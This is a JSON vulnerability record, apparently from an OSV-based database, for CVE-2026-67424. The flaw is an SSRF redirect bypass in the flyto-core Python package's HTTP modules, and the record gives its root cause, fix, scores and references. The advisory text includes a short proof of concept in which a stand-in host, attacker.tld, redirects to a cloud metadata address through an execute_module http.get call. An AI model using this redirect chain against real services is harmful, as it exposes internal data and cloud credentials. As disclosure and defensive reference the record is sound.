{"id":"CVE-2026-67424","aliases":["GHSA-c9hr-64h3-gxpc","PYSEC-2026-3569"],"url":"https://o3.security/vulnerability/CVE-2026-67424","summary":"Flyto2 Core: Guarded HTTP modules follow redirects into internal space without per-hop SSRF revalidation","details":"## Summary\nThe HTTP modules that DO call the SSRF guard (`http.get`, `http.request`, `http.batch`) validate only the initial URL, then issue the request with aiohttp's default `allow_redirects=True` and perform no per-hop revalidation. An attacker hosts a public URL that 302-redirects to an internal address; the guard passes on the public host and aiohttp transparently follows the redirect into internal space, returning the internal body.\n\n## Root Cause\n`src/core/modules/atomic/http/get.py:116` calls `session.get(url, ...)` with no `allow_redirects` argument → aiohttp default `True`. `request.py:60` sets `allow_redirects=follow_redirects` (default True at :327); `batch.py:57` likewise. A repo grep of `http/` for `on_request_redirect` / `response.history` returns NONE — there is no redirect interception or Location revalidation.\n\n## Impact\nFull readable SSRF that defeats the primary SSRF control on the very modules that correctly validate. Confidentiality of internal/metadata responses (C:H), S:C.\n\n## Proof of Concept\nVerified live: `http.get` with allowlisted base `127.0.0.1` followed a `302 Location: http://127.0.0.2/...` (non-allowlisted) and returned `INTERNAL-VIA-REDIRECT`.\n```\nattacker hosts http://attacker.tld/r  ->  302 Location: http://<cloud-metadata-ip>/latest/meta-data/...\nexecute_module http.get {\"url\":\"http://attacker.tld/r\"}\n```\n\n## Attack Chain\n1. Entry: `execute_module http.get {url:\"http://attacker.tld/r\"}` (attacker 302->internal). Guard: `validate_url_with_env_config(url)` (get.py:104). Bypass proof: validation runs on `attacker.tld` (public) → passes; never re-run on the redirect target.\n2. Sink: `session.get(url)` (get.py:116) — no `allow_redirects` arg → aiohttp default True. Bypass proof: grep of `http/` for `on_request_redirect`/`response.history` → NONE.\n3. Impact: aiohttp follows 302 to the internal host; internal body returned (get.py:118).\n\n## Bypass Evidence\nLive PoC followed a 302 into non-allowlisted loopback and returned the internal marker string. aiohttp `ClientSession.get` default `allow_redirects=True`; module never sets it False; no per-hop revalidation exists.\n\n## Affected Versions\n`<= 2.26.6` — `get.py:116`, `request.py:60`, `batch.py:57` present on latest release tag.\n\n## Suggested Fix\nSet `allow_redirects=False` and manually revalidate each `Location` header through `validate_url_with_env_config` before following, or cap and re-check every hop.\n\n## Credit\n\nVulnerability discovered by zx (Jace).","published":"2026-07-29T18:32:00.887Z","modified":"2026-10-28T02:30:45.706549342Z","cvss":{"score":8.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"},"epss":{"score":0.00237,"percentile":0.14848,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"flyto-core","fixedVersion":"2.26.7"}],"fix":{"url":"https://github.com/flytohub/flyto-core/commit/0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9","label":"flytohub/flyto-core@0a0a528"},"references":[{"type":"WEB","url":"https://github.com/flytohub/flyto-core/releases/tag/v2.26.7"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/67xxx/CVE-2026-67424.json"},{"type":"ADVISORY","url":"https://github.com/flytohub/flyto-core/security/advisories/GHSA-c9hr-64h3-gxpc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67424"},{"type":"FIX","url":"https://github.com/flytohub/flyto-core/commit/0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9"},{"type":"PACKAGE","url":"https://github.com/flytohub/flyto-core"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:45.706549342Z"}}